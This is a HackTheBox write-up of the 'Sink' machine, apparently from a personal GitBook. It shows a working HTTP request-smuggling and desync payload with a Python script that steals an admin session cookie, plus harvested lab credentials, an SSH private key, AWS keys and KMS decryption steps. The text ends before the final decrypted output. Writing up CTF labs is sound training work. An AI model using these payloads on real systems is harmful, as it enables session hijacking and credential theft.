🥔
jebidiah
  • whoami
  • HackTheBox
    • Machine Writeups
      • HTB Sink
      • HTB CrossFitTwo
      • HTB Attended
      • HTB APT
      • HTB Unbalanced
      • HTB Travel
      • HTB Quick
      • HTB Ellingson
      • HTB Kryptos
      • HTB CTF
      • HTB Flujab
      • HTB Mischief
    • Challenge Writeups
      • FOR - Keep Tryin'
      • FOR - Marshal in the Middle
      • WEB - HDC
    • HTB CTF Writeups
      • CRY - PRaNsomG
  • Capture-The-Flag
    • TryHackMe
      • Boogeyman 3
      • Boogeyman 2
      • Boogeyman 1
      • Tempest
    • InfoSec Philippines
      • Crypto?
    • ROOTCON
      • RTV'23 PrivEsc Challenge 1-3
    • Cloud Challenges
      • flAWS.cloud
  • Projects
    • Web for Dummies
      • Output Encoding
      • Cross-Origin Resource Sharing (CORS)
    • Blue Team
      • elastalert.py
      • Windows Event Fowarder
      • Custom EVTX Logs
      • Flags
        • Tempest
    • Red Team
      • PTT: Double Hop Bypass
      • Passive Recon
Powered by GitBook
On this page
  • PART 1 : INITIAL RECON
  • 1.1 MACHINE INFORMATION
  • 1.2 NMAP SCAN
  • PART 2 : INFORMATION GATHERING
  • 2.1 TCP PORT 22 (OpenSSH)
  • 2.2 TCP PORT 3000 (HTTP)
  • 2.3 TCP PORT 5000 (HTTP)
  • PART 3 : EXPLOITATION
  • 3.2 HTTP REQUEST SMUGGLING
  • 3.2 HTTP DESYNCHRONIZATION
  • PART 4 : USER SHELL (marcus)
  • 4.1 EC2 INFORMATION
  • 4.2 SSH SESSION
  • PART 5 : PIVOT (marcus -> david)
  • 5.1 AWS CONFIGURE
  • 5.2 SECRETSMANAGER
  • PART 6 : PRIVILEGE ESCALATION (david -> root)
  • 6.1 PORT FORWARD -- 4566
  • 6.2 KMS ENUMERATION
  • 6.3 KMS DECRYPT
  1. HackTheBox
  2. Machine Writeups

HTB Sink

10.10.10.225 | 50 pts

PreviousMachine WriteupsNextHTB CrossFitTwo

Last updated 3 years ago

PART 1 : INITIAL RECON

1.1 MACHINE INFORMATION

1.2 NMAP SCAN

$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.225

  PORT      STATE    SERVICE
  22/tcp    open     ssh
  3000/tcp  open     ppp
  5000/tcp  open     upnp

$ nmap -oN nmap-tcp -p 22,3000,5000 -sC -sV -v 10.10.10.225

  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
  |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
  |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
  3000/tcp open  ppp?
  | fingerprint-strings:
  |   GenericLines, Help:
  |     HTTP/1.1 400 Bad Request
  |     Content-Type: text/plain; charset=utf-8
  |     Connection: close
  |     Request
  |   GetRequest:
  |     HTTP/1.0 200 OK
  |     Content-Type: text/html; charset=UTF-8
  |     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
  |     Set-Cookie: i_like_gitea=40763612537a2fd4; Path=/; HttpOnly
  |     Set-Cookie: _csrf=sSdj6NIEq9zZwLKWHIf2zioCJzQ6MTYxODA3MjI5ODUxMDE3ODY1NA; Path=/; Expires=Sun, 11 Apr 2021 16:31:38 GMT; HttpOnly
  |     X-Frame-Options: SAMEORIGIN
  |     Date: Sat, 10 Apr 2021 16:31:38 GMT
  |     <!DOCTYPE html>
  |     <html lang="en-US" class="theme-">
  |     <head data-suburl="">
  |     <meta charset="utf-8">
  |     <meta name="viewport" content="width=device-width, initial-scale=1">
  |     <meta http-equiv="x-ua-compatible" content="ie=edge">
  |     <title> Gitea: Git with a cup of tea </title>
  |     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  |     <meta name="theme-color" content="#6cc644">
  |     <meta name="author" content="Gitea - Git with a cup of tea" />
  |     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
  |   HTTPOptions:
  |     HTTP/1.0 404 Not Found
  |     Content-Type: text/html; charset=UTF-8
  |     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
  |     Set-Cookie: i_like_gitea=009014c3b2d4e2d9; Path=/; HttpOnly
  |     Set-Cookie: _csrf=fe5c5svRDDMllearHCwpoZFZJds6MTYxODA3MjMwNDQyMjM4NDk1MQ; Path=/; Expires=Sun, 11 Apr 2021 16:31:44 GMT; HttpOnly
  |     X-Frame-Options: SAMEORIGIN
  |     Date: Sat, 10 Apr 2021 16:31:44 GMT
  |     <!DOCTYPE html>
  |     <html lang="en-US" class="theme-">
  |     <head data-suburl="">
  |     <meta charset="utf-8">
  |     <meta name="viewport" content="width=device-width, initial-scale=1">
  |     <meta http-equiv="x-ua-compatible" content="ie=edge">
  |     <title>Page Not Found - Gitea: Git with a cup of tea </title>
  |     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  |     <meta name="theme-color" content="#6cc644">
  |     <meta name="author" content="Gitea - Git with a cup of tea" />
  |_    <meta name="description" content="Gitea (Git with a c
  5000/tcp open  http    Gunicorn 20.0.0
  | http-methods:
  |_  Supported Methods: POST OPTIONS HEAD GET
  |_http-server-header: gunicorn/20.0.0
  |_http-title: Sink Devops
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PART 2 : INFORMATION GATHERING

2.1 TCP PORT 22 (OpenSSH)

$ ssh -l test 10.10.10.225

  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.225's password:
  Permission denied, please try again.
  test@10.10.10.225's password:
  test@10.10.10.225: Permission denied (publickey,password).

The SSH client supports either publickey or password authentication for regular users.

2.2 TCP PORT 3000 (HTTP)

A Gitea page opens up when you access the service via a web browser:

There are no public repositories in the Explore > Repositories section but a list of accounts were revealed under the Explore > Users as well as the group, Sink_Solutions, under Explore > Organizations.

The users -- david, marcus, and root, are all members of Sink_Solutions:

There is also a login option but there are no user credentials gotten yet nor is there a register option for new users. Finding valid user credentials might be one of the goals in the box during exploitation.

2.3 TCP PORT 5000 (HTTP)

Opening the service via a web browser brings you to the following page:

An option to sign up is available where I registered as the user, jebidiah:

And upon successful registration, you will be redirected to the following page:

On the same page, posting comments on posts are possible:

There is also an option to save personal notes within your account on /notes:

Posting notes will create a table on the same page (/notes):

And when you view the notes listed on the table, you are redirected to a page, /notes/<integer> and in this case, /notes/17436:

How the integer in the link and the numerical ID of the posted notes are hard to correlate and fuzzing seems to be not viable as well:

$ wfuzz -z range,1-2000 -H "Cookie: session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30" --hc=500 http://10.10.10.225:5000/notes/FUZZ

  Target: http://10.10.10.225:5000/notes/FUZZ
  Total requests: 2000

  =====================================================================
  ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                  
  =====================================================================

  000000003:   302        3 L      24 W       219 Ch      "3"                                                                                                                                                                     
  000000001:   302        3 L      24 W       219 Ch      "1"                                                                                                                                                                      
  000000002:   302        3 L      24 W       219 Ch      "2"                                                                                                                                                                          
  Total time: 0
  Processed Requests: 140
  Filtered Requests: 137
  Requests/sec.: 0

   /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: Failed to connect to 10.10.10.225 port 5000: Connection refused

The server times out when flooded by a large volume of requests. But, the usual response code for the other requests are 500 (Internal Server Error) and for notes -- 1, 2, and 3, the response was 302 (Redirect). Trying to access the previously mentioned notes only redirects you back to /notes.

PART 3 : EXPLOITATION

3.2 HTTP REQUEST SMUGGLING

Checking for the response headers of the service running in port 5000:

$ curl -H "Cookie: session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30" -I http://10.10.10.225:5000/notes

  HTTP/1.1 302 FOUND
  Server: gunicorn/20.0.0
  Date: Sun, 25 Apr 2021 06:38:32 GMT
  Content-Type: text/html; charset=utf-8
  Content-Length: 219
  Location: http://10.10.10.225:5000/notes
  Vary: Cookie
  Via: haproxy
  X-Served-By: 3d55d9da52f0

How request smuggling works is that specifying a Transfer-Encoding header with a value chunked along with Content-Length can force the server to interpret the request as multiple requests. The server will interpret the “0\r\n\r\n” as the end of the initial request and will then begin to parse the succeeding lines as a new request. The terminator for the smuggled request will be supplied by the server once it parses the second request.

In the following example, when the request passes through haproxy, the request will be considered as chunked as well as into the server itself leveraging HTTP Request Smuggling using TE.TE (Transfer-Encoding -> Transfer-Encoding):

POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 6
Transfer-Encoding: chunked

0

POST /notes HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 9

note=test

And after the request was sent, the server responded as well to the smuggled request:

3.2 HTTP DESYNCHRONIZATION

The goal of the exploit is to force haproxy to interpret the Content-Length instead of the Transfer-Encoding header in the initial request to leverage a CL.TE instead of TE.TE in order to trigger an HTTP Desynchronization wherein the server will hang while waiting for a request with a “0\r\n\r\n” terminator; therefore, making the intercepted request part of the smuggle request.

To do this, according to the article by Nathan Davidson, write the Transfer-Encoding header with [\x0b] or [\x0c] before the value, chunked. These characters are short spaces that haproxy will not be able to parse. This will enable the attacker to intercept other requests as part of the smuggled request’s body.

GET /home HTTP/1.1
Host: 10.10.10.225:5000
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 283
Transfer-Encoding:
                  chunked

0

POST /notes HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 300

note=ggwp 

After the sending the request above then checking the created note, an HTTP request was intercepted and was saved along with the note:

Setting the right Content-Length (in this case, 300) for the smuggled request will let you intercept the succeeding request properly. Setting it too long and the request terminator might be interpreted as part of the note.

The entire request will look like this once interpreted by the server:

GET /home HTTP/1.1
Host: 10.10.10.225:5000
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 283
Transfer-Encoding:
                  chunked

0

POST /notes HTTP/1.1
Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions
Content-Length: 300

note=ggwp GET /notes/delete/1234 HTTP/1.1 
Host: 127.0.0.1:8080 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept-Encoding: gzip, deflate Accept: */* 
Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YIT8fQ.GIZT2JXeOzrLzDmv2sOiCpi_Gds 
X-Forwarded-For: 127.0

0

A session cookie was leaked and maybe could now be used to read another user’s saved notes.

Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YIT8fQ.GIZT2JXeOzrLzDmv2sOiCpi_Gds 

Using the session cookie to access the service reveals that the cookie belongs to admin@sink.htb and the notes previously found while fuzzing are now readable.

The exploit for triggering the HTTP Desync was automated using this python script:

import socket

headers = ""
headers += "Cookie: i_like_gitea=5d0c89ebb9c9350c; session=eyJlbWFpbCI6InRlc3RAbWFpbC5jb20ifQ.YIUHSQ.E0jQ74qMjbmow86LsvEoC6zLK30; lang=en-US; _csrf=ARiCvID_5zGN4pUVNaXF6jI97Uo6MTYxOTMyOTQ5NDc2NjE5Mzc1NQ; redirect_to=%2FSink_Solutions\r\n"

smuggle = "POST /notes HTTP/1.1\r\n"
smuggle += headers
smuggle += "Content-Length: 300\r\n"
smuggle += "\r\n"
smuggle += "note=ggwp "

payload = "A"
chunk = ""
#chunk += "{}\r\n".format(len(payload))
#chunk += "{}\r\n".format(payload)
chunk += "0\r\n\r\n"

request = "GET /home HTTP/1.1\r\n"
request += headers
request += "Content-Length: {}\r\n".format(len(smuggle) + len(chunk))
request += "Transfer-Encoding:\x0bchunked\r\n"
request += "\r\n"
request += chunk
request += smuggle
print(request)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.225" , 5000))
s.sendall(request.encode())

print("\n=============\n")

res = s.recv(4096)
print(res.split("<!DOCTYPE")[0])

s.close()

Now, viewing the notes saved in the admin user account, credentials for various services are leaked.:

# http://10.10.10.225:5000/notes/1
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

# http://10.10.10.225:5000/notes/2
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

# http://10.10.10.225:5000/notes/3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C

There is a root user for the Gitea service, maybe this is the credentials for the user given that it is for code.sink.htb.

PART 4 : USER SHELL (marcus)

4.1 EC2 INFORMATION

Logging in using the credentials, root:FaH@3L>Z3})zzfQ3, the following repositories become available:

The Key_Management repo has been archived and upon viewing, there has been 8/9 commits by marcus:

The commit history highly suggests deployments in AWS. The commit with the message, “Adding EC2 Key Management Structure”, seems promising. And in there, an SSH private key is added to the repository as well as various configurations for an EC2 Client.

The dev_keys file:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

There seems to be an EC2 instance deployed in the region, eu, and could be reached via http[://]127.0.0.1:4566 based on the ec2.php file.

[..omitted..]

$ec2Client = new Aws\Ec2\Ec2Client([
    'region' => 'eu',
    'version' => '2020-12-21',
    'profile' => 'default',
    'endpoint' => 'http://127.0.0.1:4566'
]);

[..omitted..]

4.2 SSH SESSION

As the git commit was done by the user, marcus, this must be his own private key. Saving the key into a file and using it to login via SSH:

$ chmod 400 id_rsa

$ ssh -i id_rsa -l marcus 10.10.10.225

The login was successful:

marcus@sink:~$ id

  uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)

marcus@sink:~$ ls -l

  total 4
  -r-------- 1 marcus marcus 33 Apr 25 05:21 user.txt

marcus@sink:~$ cat /etc/passwd | grep sh$

  root:x:0:0:root:/root:/bin/bash
  gitlab-psql:x:994:995::/var/opt/gitlab/postgresql:/bin/sh
  gitlab-prometheus:x:993:994::/var/opt/gitlab/prometheus:/bin/sh
  marcus:x:1001:1001:,,,:/home/marcus:/bin/bash
  david:x:1000:1000:,,,:/home/david:/bin/bash
  git:x:115:123:Git Version Control,,,:/home/git:/bin/bash

marcus@sink:~$ ls -l /home/david

  total 4
  drwxr-x--- 3 david david 4096 Dec  2 12:28 Projects

There seems to be another user, david, inside the machine. And his home directory seems to be readable. There is a directory, Projects, however that is protected. This might be interesting.

PART 5 : PIVOT (marcus -> david)

5.1 AWS CONFIGURE

Checking to see if port 4566 is listening inside the machine:

marcus@sink:~$ netstat -plnt | grep “4566”

  tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -

And when you check the AWS running services’ health using the endpoint URL, http[://]127.0.0.1:4566:

marcus@sink:~$ curl http://127.0.0.1:4566/health

  {"services": {"kms": "running", "logs": "running", "secretsmanager": "running"}}

There are three services running - kms, logs, and secretsmanager. In order to access these services via the aws-cli, we need an AWS Access Key ID and an AWS Secret Access Key. Looking back into the repositories in Gitea, there was a Log_Management repo and given that a “logs” service is running, there might be something interesting there.

In the last commit, “Preparing for prod”, the AWS Access Key ID and an AWS Secret Access Key were deleted from the create_logs.php file:

Which gives us the following:

AWS Access Key ID    : AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key: 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

We can now run aws configure in order to access the running services:

marcus@sink:~$ aws configure

  AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
  AWS Secret Access Key [None]: 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
  Default region name [None]: eu
  Default output format [None]:

5.2 SECRETSMANAGER

Enumerating the secretsmanager service to see if there are anything interesting:

marcus@sink:~$ aws secretsmanager list-secrets --endpoint-url http://127.0.0.1:4566

  {
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ePSxN",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            [..omitted..]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-inxLk",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            [..omitted..]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dgnlR",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            [..omitted..]
            }
        }
    ]
  }

There were three secrets available in the secretsmanager service. Extracting their respective values:

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-cPCXi" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
    [..omitted..]
  }

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-MZKWb" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
    [..omitted..]
  }

marcus@sink:~$ aws secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dgnlR" --endpoint-url http://127.0.0.1:4566

  {
    [..omitted..]
    "SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
    [..omitted..]
  }

Credentials from three users were leaked from the secretsmanager service. More importantly, one of them was for the user, david (david:EALB=bcC=`a7f2#k).

marcus@sink:~$ su david
  
  Password: EALB=bcC=`a7f2#k

david@sink:/home/marcus$ id

  uid=1000(david) gid=1000(david) groups=1000(david)

PART 6 : PRIVILEGE ESCALATION (david -> root)

6.1 PORT FORWARD -- 4566

Now that we have a shell as the user, david, the Projects directory should now be accessible wherein an encrypted file, servers.enc, is stored:

david@sink:~$ ls -l Projects

  total 4
  drwxrwx--- 2 david david 4096 Feb  1 09:43 Prod_Deployment

david@sink:~$ ls -l Projects/Prod_Deployment/

  total 4
  -rw-r----- 1 david david 512 Feb  1 09:43 servers.enc

david@sink:~$ file Projects/Prod_Deployment/servers.enc

  Projects/Prod_Deployment/servers.enc: data

Looking back again into the running services accessible via http://127.0.0.1:4566, one of them was kms which stands for Key Management Service for AWS. It might have been used to encrypt the file. To make things easier, I forwarded the service running on port 4566 to my local machine:

$ ssh -i id_rsa -l marcus -L 4566:127.0.0.1:4566 10.10.10.225

marcus@sink:~$ su david
  
  Password: EALB=bcC=`a7f2#k

david@sink:/home/marcus$

6.2 KMS ENUMERATION

Enumerating this time the said service after running aws configure again:

$ aws kms list-keys --endpoint-url http://127.0.0.1:4566 | jq -r '.Keys[].KeyId'

  0b539917-5eff-45b2-9fa1-e13f0d2c42ac
  16754494-4333-4f77-ad4c-d0b73d799939
  2378914f-ea22-47af-8b0c-8252ef09cd5f
  2bf9c582-eed7-482f-bfb6-2e4e7eb88b78
  53bb45ef-bf96-47b2-a423-74d9b89a297a
  804125db-bdf1-465a-a058-07fc87c0fad0
  837a2f6e-e64c-45bc-a7aa-efa56a550401
  881df7e3-fb6f-4c7b-9195-7f210e79e525
  c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
  f0579746-10c3-4fd1-b2ab-f312a5a0f3fc
  f2358fef-e813-4c59-87c8-70e50f6d4f70

$ aws kms list-keys --endpoint-url http://127.0.0.1:4566 | jq -r '.Keys[].KeyId' > key_ids

I took all the KeyId values from the output of list-keys which I will then iterate through to get their individual descriptions:

$ for i in $(cat kms_ids); do aws kms describe-key --key-id $i --endpoint-url http://127.0.0.1:4566 | jq -c '.KeyMetadata | {"KeyId": .KeyId, "Description": .Description, "KeyState": .KeyState, "EncryptionAlgorithms": .EncryptionAlgorithms}'; done > key_descriptions

There were multiple keys but only a handful were enabled and only one could be used for encryption or decryption -- 804125db-bdf1-465a-a058-07fc87c0fad0:

$ cat key_descriptions | grep Enabled | jq

  {
    "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
    "Description": "Encryption and Decryption",
    "KeyState": "Enabled",
    "EncryptionAlgorithms": [
    "RSAES_OAEP_SHA_1",
    "RSAES_OAEP_SHA_256"
    ]
  }
  {
    "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
    "Description": "Digital Signature Verification",
    "KeyState": "Enabled",
    "EncryptionAlgorithms": null
  }

6.3 KMS DECRYPT

Going back to the shell running as the user, david, to attempt to decrypt the server.enc file:

david@sink:~/Projects/Prod_Deployment$ aws kms decrypt --ciphertext-blob fileb://servers.enc --key-id "804125db-bdf1-465a-a058-07fc87c0fad0" --encryption-algorithm RSAES_OAEP_SHA_256 --endpoint-url http://127.0.0.1:4566 --query Plaintext
  
  "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA="

The contents are still gibberish but when you check what kind of output was generated, the file turned to be a gzip compressed data. Using zcat to view the contents:

